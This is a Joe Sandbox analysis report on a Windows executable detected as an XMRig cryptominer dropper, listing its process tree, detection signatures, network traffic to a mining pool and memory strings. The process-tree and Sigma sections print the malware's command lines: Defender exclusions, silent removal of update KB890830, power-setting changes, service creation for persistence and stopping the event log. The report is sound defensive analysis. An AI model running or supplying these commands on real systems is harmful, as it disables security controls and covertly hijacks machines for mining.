Edit tour

Windows Analysis Report
feZvV3DCj8.exe

Overview

General Information

Sample name:	feZvV3DCj8.exe renamed because original name is a hash value
Original sample name:	21ab5dcbbca905f8499750b0940b7d5a139eef194d546a0d1af61e157fb3ba0e.exe
Analysis ID:	1575205
MD5:	444b7b63554b45cfd9cf9d48f05f1196
SHA1:	e2f008b7f927b0aeaf446de5812cc696fe65ce2a
SHA256:	21ab5dcbbca905f8499750b0940b7d5a139eef194d546a0d1af61e157fb3ba0e
Tags:	exeuser-Chainskilabs
Infos:

Detection

Xmrig

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Sigma detected: Disable power options

Sigma detected: Stop EventLog

Yara detected Xmrig cryptocurrency miner

AI detected suspicious sample

Adds a directory exclusion to Windows Defender

Found strings related to Crypto-Mining

Loading BitLocker PowerShell Module

Modifies power options to not sleep / hibernate

Modifies the context of a thread in another process (thread injection)

Sample is not signed and drops a device driver

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Uses powercfg.exe to modify the power settings

AV process strings found (often used to terminate AV products)

Abnormal high CPU Usage

Contains functionality to call native functions

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates driver files

Deletes files inside the Windows folder

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Dropped file seen in connection with other malware

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Drops PE files to the windows directory (C:\Windows)

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

IP address seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains sections with non-standard names

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Powershell Defender Exclusion

Uses code obfuscation techniques (call, push, ret)

Yara signature match

Classification

Process Tree

System is w10x64

feZvV3DCj8.exe (PID: 4324 cmdline: "C:\Users\user\Desktop\feZvV3DCj8.exe" MD5: 444B7B63554B45CFD9CF9D48F05F1196)

powershell.exe (PID: 5972 cmdline: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 1960 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 5660 cmdline: C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7064 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

wusa.exe (PID: 6416 cmdline: wusa /uninstall /kb:890830 /quiet /norestart MD5: FBDA2B8987895780375FE0E6254F6198)

powercfg.exe (PID: 3720 cmdline: C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0 MD5: 9CA38BE255FFF57A92BD6FBF8052B705)

conhost.exe (PID: 2820 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powercfg.exe (PID: 7056 cmdline: C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0 MD5: 9CA38BE255FFF57A92BD6FBF8052B705)

conhost.exe (PID: 2284 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powercfg.exe (PID: 3292 cmdline: C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0 MD5: 9CA38BE255FFF57A92BD6FBF8052B705)

conhost.exe (PID: 1440 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powercfg.exe (PID: 3116 cmdline: C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0 MD5: 9CA38BE255FFF57A92BD6FBF8052B705)

conhost.exe (PID: 2472 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

sc.exe (PID: 2636 cmdline: C:\Windows\system32\sc.exe delete "STEUPFSB" MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

conhost.exe (PID: 6488 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

sc.exe (PID: 7212 cmdline: C:\Windows\system32\sc.exe create "STEUPFSB" binpath= "C:\ProgramData\dwsvhengdbro\sujlgqpnxcwv.exe" start= "auto" MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

conhost.exe (PID: 7220 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

sc.exe (PID: 7260 cmdline: C:\Windows\system32\sc.exe stop eventlog MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

conhost.exe (PID: 7276 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

sc.exe (PID: 7268 cmdline: C:\Windows\system32\sc.exe start "STEUPFSB" MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

conhost.exe (PID: 7284 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

sujlgqpnxcwv.exe (PID: 7348 cmdline: C:\ProgramData\dwsvhengdbro\sujlgqpnxcwv.exe MD5: 444B7B63554B45CFD9CF9D48F05F1196)

powershell.exe (PID: 7360 cmdline: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 7368 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 7504 cmdline: C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7520 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

wusa.exe (PID: 7580 cmdline: wusa /uninstall /kb:890830 /quiet /norestart MD5: FBDA2B8987895780375FE0E6254F6198)

powercfg.exe (PID: 7512 cmdline: C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0 MD5: 9CA38BE255FFF57A92BD6FBF8052B705)

conhost.exe (PID: 7536 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powercfg.exe (PID: 7528 cmdline: C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0 MD5: 9CA38BE255FFF57A92BD6FBF8052B705)

conhost.exe (PID: 7592 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powercfg.exe (PID: 7572 cmdline: C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0 MD5: 9CA38BE255FFF57A92BD6FBF8052B705)

conhost.exe (PID: 7640 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powercfg.exe (PID: 7624 cmdline: C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0 MD5: 9CA38BE255FFF57A92BD6FBF8052B705)

conhost.exe (PID: 7676 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

conhost.exe (PID: 7664 cmdline: C:\Windows\system32\conhost.exe MD5: 0D698AF330FD17BEE3BF90011D49251D)

conhost.exe (PID: 7740 cmdline: conhost.exe MD5: 0D698AF330FD17BEE3BF90011D49251D)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
xmrig	According to PCrisk, XMRIG is a completely legitimate open-source application that utilizes system CPUs to mine Monero cryptocurrency. Unfortunately, criminals generate revenue by infiltrating this app into systems without users' consent. This deceptive marketing method is called "bundling".In most cases, "bundling" is used to infiltrate several potentially unwanted programs (PUAs) at once. So, there is a high probability that XMRIG Virus came with a number of adware-type applications that deliver intrusive ads and gather sensitive information.	No Attribution	https://gridinsoft.com/xmrig https://www.akamai.com/blog/security-research/2024-php-exploit-cve-one-day-after-disclosure https://www.crowdstrike.com/blog/new-kiss-a-dog-cryptojacking-campaign-targets-docker-and-kubernetes/	https://malpedia.caad.fkie.fraunhofer.de/details/win.xmrig

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
00000027.00000002.3327081247.000001B71BB50000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000027.00000002.3327081247.000001B71BAF9000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000027.00000002.3325955283.0000000140001000.00000040.00000001.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000027.00000002.3325955283.0000000140001000.00000040.00000001.00020000.00000000.sdmp	MacOS_Cryptominer_Xmrig_241780a1	unknown	unknown	0x36fc08:$a1: mining.set_target 0x361e30:$a2: XMRIG_HOSTNAME 0x3647a8:$a3: Usage: xmrig [OPTIONS] 0x361e08:$a4: XMRIG_VERSION
Process Memory Space: conhost.exe PID: 7740	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
Process Memory Space: conhost.exe PID: 7740	MacOS_Cryptominer_Xmrig_241780a1	unknown	unknown	0x76521:$a1: mining.set_target 0x72c49:$a2: XMRIG_HOSTNAME 0x73a3b:$a3: Usage: xmrig [OPTIONS] 0x72c2a:$a4: XMRIG_VERSION
Click to see the 1 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
39.2.conhost.exe.140000000.0.unpack	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
39.2.conhost.exe.140000000.0.unpack	MacOS_Cryptominer_Xmrig_241780a1	unknown	unknown	0x370008:$a1: mining.set_target 0x362230:$a2: XMRIG_HOSTNAME 0x364ba8:$a3: Usage: xmrig [OPTIONS] 0x362208:$a4: XMRIG_VERSION
39.2.conhost.exe.140000000.0.unpack	MAL_XMR_Miner_May19_1	Detects Monero Crypto Coin Miner	Florian Roth	0x3b5761:$x2: * COMMANDS 'h' hashrate, 'p' pause, 'r' resume
39.2.conhost.exe.140000000.0.unpack	MALWARE_Win_CoinMiner02	Detects coinmining malware	ditekSHen	0x3b5fd8:$s1: %s/%s (Windows NT %lu.%lu 0x3b9600:$s3: \\.\WinRing0_ 0x3671a8:$s4: pool_wallet 0x3615d8:$s5: cryptonight 0x3615e8:$s5: cryptonight 0x3615f8:$s5: cryptonight 0x361608:$s5: cryptonight 0x361620:$s5: cryptonight 0x361630:$s5: cryptonight 0x361640:$s5: cryptonight 0x361658:$s5: cryptonight 0x361668:$s5: cryptonight 0x361680:$s5: cryptonight 0x361698:$s5: cryptonight 0x3616a8:$s5: cryptonight 0x3616b8:$s5: cryptonight 0x3616c8:$s5: cryptonight 0x3616e0:$s5: cryptonight 0x3616f8:$s5: cryptonight 0x361708:$s5: cryptonight 0x361718:$s5: cryptonight

Sigma Signatures

Change of critical system settings

Sigma detected: Disable power options

Source: Process started

Author: Joe Security: Data: Command: C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0, CommandLine: C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0, CommandLine|base64offset|contains: , Image: C:\Windows\System32\powercfg.exe, NewProcessName: C:\Windows\System32\powercfg.exe, OriginalFileName: C:\Windows\System32\powercfg.exe, ParentCommandLine: "C:\Users\user\Desktop\feZvV3DCj8.exe", ParentImage: C:\Users\user\Desktop\feZvV3DCj8.exe, ParentProcessId: 4324, ParentProcessName: feZvV3DCj8.exe, ProcessCommandLine: C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0, ProcessId: 3720, ProcessName: powercfg.exe

System Summary

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force, CommandLine: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force, CommandLine|base64offset|contains: ~2yzw, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\feZvV3DCj8.exe", ParentImage: C:\Users\user\Desktop\feZvV3DCj8.exe, ParentProcessId: 4324, ParentProcessName: feZvV3DCj8.exe, ProcessCommandLine: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force, ProcessId: 5972, ProcessName: powershell.exe

Sigma detected: Powershell Defender Exclusion

Source: Process started

Sigma detected: New Service Creation Using Sc.EXE

Source: Process started

Author: Timur Zinniatullin, Daniil Yugoslavskiy, oscd.community: Data: Command: C:\Windows\system32\sc.exe create "STEUPFSB" binpath= "C:\ProgramData\dwsvhengdbro\sujlgqpnxcwv.exe" start= "auto", CommandLine: C:\Windows\system32\sc.exe create "STEUPFSB" binpath= "C:\ProgramData\dwsvhengdbro\sujlgqpnxcwv.exe" start= "auto", CommandLine|base64offset|contains: r, Image: C:\Windows\System32\sc.exe, NewProcessName: C:\Windows\System32\sc.exe, OriginalFileName: C:\Windows\System32\sc.exe, ParentCommandLine: "C:\Users\user\Desktop\feZvV3DCj8.exe", ParentImage: C:\Users\user\Desktop\feZvV3DCj8.exe, ParentProcessId: 4324, ParentProcessName: feZvV3DCj8.exe, ProcessCommandLine: C:\Windows\system32\sc.exe create "STEUPFSB" binpath= "C:\ProgramData\dwsvhengdbro\sujlgqpnxcwv.exe" start= "auto", ProcessId: 7212, ProcessName: sc.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force, CommandLine: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force, CommandLine|base64offset|contains: ~2yzw, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\feZvV3DCj8.exe", ParentImage: C:\Users\user\Desktop\feZvV3DCj8.exe, ParentProcessId: 4324, ParentProcessName: feZvV3DCj8.exe, ProcessCommandLine: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force, ProcessId: 5972, ProcessName: powershell.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Stop EventLog

Source: Process started

Author: Joe Security: Data: Command: C:\Windows\system32\sc.exe stop eventlog, CommandLine: C:\Windows\system32\sc.exe stop eventlog, CommandLine|base64offset|contains: ), Image: C:\Windows\System32\sc.exe, NewProcessName: C:\Windows\System32\sc.exe, OriginalFileName: C:\Windows\System32\sc.exe, ParentCommandLine: "C:\Users\user\Desktop\feZvV3DCj8.exe", ParentImage: C:\Users\user\Desktop\feZvV3DCj8.exe, ParentProcessId: 4324, ParentProcessName: feZvV3DCj8.exe, ProcessCommandLine: C:\Windows\system32\sc.exe stop eventlog, ProcessId: 7260, ProcessName: sc.exe

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for dropped file

Source: C:\ProgramData\dwsvhengdbro\sujlgqpnxcwv.exe

ReversingLabs: Detection: 63%

Multi AV Scanner detection for submitted file

Source: feZvV3DCj8.exe

ReversingLabs: Detection: 63%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 99.5% probability

Bitcoin Miner

Yara detected Xmrig cryptocurrency miner

Source: Yara match	File source: 39.2.conhost.exe.140000000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000027.00000002.3327081247.000001B71BB50000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000027.00000002.3327081247.000001B71BAF9000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000027.00000002.3325955283.0000000140001000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: conhost.exe PID: 7740, type: MEMORYSTR

Found strings related to Crypto-Mining

Source: conhost.exe, 00000027.00000002.3325955283.0000000140001000.00000040.00000001.00020000.00000000.sdmp	String found in binary or memory: stratum+tcp://
Source: conhost.exe	String found in binary or memory: cryptonight/0
Source: conhost.exe, 00000027.00000002.3325955283.0000000140001000.00000040.00000001.00020000.00000000.sdmp	String found in binary or memory: -o, --url=URL URL of mining server
Source: conhost.exe, 00000027.00000002.3325955283.0000000140001000.00000040.00000001.00020000.00000000.sdmp	String found in binary or memory: stratum+tcp://
Source: conhost.exe, 00000027.00000002.3325955283.0000000140001000.00000040.00000001.00020000.00000000.sdmp	String found in binary or memory: Usage: xmrig [OPTIONS]
Source: conhost.exe, 00000027.00000002.3325955283.0000000140001000.00000040.00000001.00020000.00000000.sdmp	String found in binary or memory: Usage: xmrig [OPTIONS]

Source: feZvV3DCj8.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source:

Binary string: d:\hotproject\winring0\source\dll\sys\lib\amd64\WinRing0.pdb source: sujlgqpnxcwv.exe, 00000018.00000003.2119578349.0000018286F70000.00000004.00000001.00020000.00000000.sdmp

Source: global traffic

TCP traffic: 192.168.2.5:49704 -> 141.95.98.19:12222

Source: Joe Sandbox View

IP Address: 141.95.98.19 141.95.98.19

Source: unknown

UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic

DNS traffic detected: DNS query: zeph.2miners.com

Source: conhost.exe, 00000027.00000002.3327081247.000001B71BB88000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000027.00000002.3327081247.000001B71BB50000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000027.00000003.3168408286.000001B71BB8D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl
Source: conhost.exe, 00000027.00000002.3327081247.000001B71BB88000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000027.00000002.3327081247.000001B71BB50000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000027.00000003.3168408286.000001B71BB8D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl04
Source: conhost.exe, 00000027.00000002.3327081247.000001B71BB88000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000027.00000002.3327081247.000001B71BB50000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000027.00000003.3168408286.000001B71BB8D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl06
Source: conhost.exe, 00000027.00000002.3327081247.000001B71BB50000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crlB
Source: sujlgqpnxcwv.exe, 00000018.00000003.2119578349.0000018286F70000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.net/ObjectSign.crl0
Source: sujlgqpnxcwv.exe, 00000018.00000003.2119578349.0000018286F70000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.net/Root.crl0
Source: sujlgqpnxcwv.exe, 00000018.00000003.2119578349.0000018286F70000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.net/RootSignPartners.crl0
Source: sujlgqpnxcwv.exe, 00000018.00000003.2119578349.0000018286F70000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.net/primobject.crl0
Source: conhost.exe, 00000027.00000002.3327081247.000001B71BB88000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000027.00000002.3327081247.000001B71BB50000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000027.00000003.3168408286.000001B71BB8D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crt.sectigo.com/SectigoRSADomainValidationSecureServerCA.crt0#
Source: conhost.exe, 00000027.00000002.3327081247.000001B71BB88000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000027.00000002.3327081247.000001B71BB50000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000027.00000003.3168408286.000001B71BB8D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com
Source: conhost.exe, 00000027.00000002.3327081247.000001B71BB50000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com0
Source: conhost.exe, 00000027.00000002.3327081247.000001B71BB50000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.sectigo.com
Source: conhost.exe, 00000027.00000002.3327081247.000001B71BB88000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000027.00000002.3327081247.000001B71BB50000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000027.00000003.3168408286.000001B71BB8D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.sectigo.com0%
Source: conhost.exe, 00000027.00000002.3327081247.000001B71BB50000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.sectigo.com:
Source: conhost.exe, 00000027.00000002.3327081247.000001B71BB88000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000027.00000002.3327081247.000001B71BB50000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000027.00000003.3168408286.000001B71BB8D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sectigo.com/CPS0
Source: conhost.exe, 00000027.00000002.3325955283.0000000140001000.00000040.00000001.00020000.00000000.sdmp	String found in binary or memory: https://xmrig.com/docs/algorithms

System Summary

Malicious sample detected (through community Yara rule)

Source: 39.2.conhost.exe.140000000.0.unpack, type: UNPACKEDPE	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 Author: unknown
Source: 39.2.conhost.exe.140000000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Monero Crypto Coin Miner Author: Florian Roth
Source: 39.2.conhost.exe.140000000.0.unpack, type: UNPACKEDPE	Matched rule: Detects coinmining malware Author: ditekSHen
Source: 00000027.00000002.3325955283.0000000140001000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 Author: unknown
Source: Process Memory Space: conhost.exe PID: 7740, type: MEMORYSTR	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 Author: unknown

Uses powercfg.exe to modify the power settings

Source: C:\Users\user\Desktop\feZvV3DCj8.exe

Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0

Source: C:\Windows\System32\conhost.exe

Process Stats: CPU usage > 49%

Source: C:\Users\user\Desktop\feZvV3DCj8.exe	Code function: 0_2_00007FF6C8A81394 NtAdjustPrivilegesToken,	0_2_00007FF6C8A81394
Source: C:\ProgramData\dwsvhengdbro\sujlgqpnxcwv.exe	Code function: 24_2_00007FF6953D1394 NtGetCompleteWnfStateSubscription,	24_2_00007FF6953D1394
Source: C:\Windows\System32\conhost.exe	Code function: 37_2_0000000140001394 NtQueryAttributesFile,	37_2_0000000140001394

Source: C:\ProgramData\dwsvhengdbro\sujlgqpnxcwv.exe

File created: C:\Windows\TEMP\kwjarrnckong.sys

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File deleted: C:\Windows\Temp\__PSScriptPolicyTest_xnro3nmk.ar0.ps1

Source: C:\Users\user\Desktop\feZvV3DCj8.exe	Code function: 0_2_00007FF6C8A83B50	0_2_00007FF6C8A83B50
Source: C:\ProgramData\dwsvhengdbro\sujlgqpnxcwv.exe	Code function: 24_2_00007FF6953D3B50	24_2_00007FF6953D3B50
Source: C:\Windows\System32\conhost.exe	Code function: 37_2_0000000140003150	37_2_0000000140003150
Source: C:\Windows\System32\conhost.exe	Code function: 37_2_00000001400026E0	37_2_00000001400026E0

Source: Joe Sandbox View

Dropped File: C:\Windows\Temp\kwjarrnckong.sys 11BD2C9F9E2397C9A16E0990E4ED2CF0679498FE0FD418A3DFDAC60B5C160EE5

Source: C:\ProgramData\dwsvhengdbro\sujlgqpnxcwv.exe	Code function: String function: 00007FF6953D1394 appears 33 times
Source: C:\Users\user\Desktop\feZvV3DCj8.exe	Code function: String function: 00007FF6C8A81394 appears 33 times

Source: 39.2.conhost.exe.140000000.0.unpack, type: UNPACKEDPE	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 reference_sample = 2e94fa6ac4045292bf04070a372a03df804fa96c3b0cb4ac637eeeb67531a32f, os = macos, severity = x86, creation_date = 2021-09-30, scan_context = file, memory, license = Elastic License v2, threat_name = MacOS.Cryptominer.Xmrig, fingerprint = be9c56f18e0f0bdc8c46544039b9cb0bbba595c1912d089b2bcc7a7768ac04a8, id = 241780a1-ad50-4ded-b85a-26339ae5a632, last_modified = 2021-10-25
Source: 39.2.conhost.exe.140000000.0.unpack, type: UNPACKEDPE	Matched rule: MAL_XMR_Miner_May19_1 date = 2019-05-31, author = Florian Roth, description = Detects Monero Crypto Coin Miner, score = d6df423efb576f167bc28b3c08d10c397007ba323a0de92d1e504a3f490752fc, reference = https://www.guardicore.com/2019/05/nansh0u-campaign-hackers-arsenal-grows-stronger/
Source: 39.2.conhost.exe.140000000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_CoinMiner02 author = ditekSHen, description = Detects coinmining malware
Source: 00000027.00000002.3325955283.0000000140001000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 reference_sample = 2e94fa6ac4045292bf04070a372a03df804fa96c3b0cb4ac637eeeb67531a32f, os = macos, severity = x86, creation_date = 2021-09-30, scan_context = file, memory, license = Elastic License v2, threat_name = MacOS.Cryptominer.Xmrig, fingerprint = be9c56f18e0f0bdc8c46544039b9cb0bbba595c1912d089b2bcc7a7768ac04a8, id = 241780a1-ad50-4ded-b85a-26339ae5a632, last_modified = 2021-10-25
Source: Process Memory Space: conhost.exe PID: 7740, type: MEMORYSTR	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 reference_sample = 2e94fa6ac4045292bf04070a372a03df804fa96c3b0cb4ac637eeeb67531a32f, os = macos, severity = x86, creation_date = 2021-09-30, scan_context = file, memory, license = Elastic License v2, threat_name = MacOS.Cryptominer.Xmrig, fingerprint = be9c56f18e0f0bdc8c46544039b9cb0bbba595c1912d089b2bcc7a7768ac04a8, id = 241780a1-ad50-4ded-b85a-26339ae5a632, last_modified = 2021-10-25

Source: classification engine

Classification label: mal100.spyw.evad.mine.winEXE@58/12@1/1

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7276:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:7368:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:7520:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:7676:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:7536:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2472:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:7640:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:7592:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2820:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7220:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7064:120:WilError_03
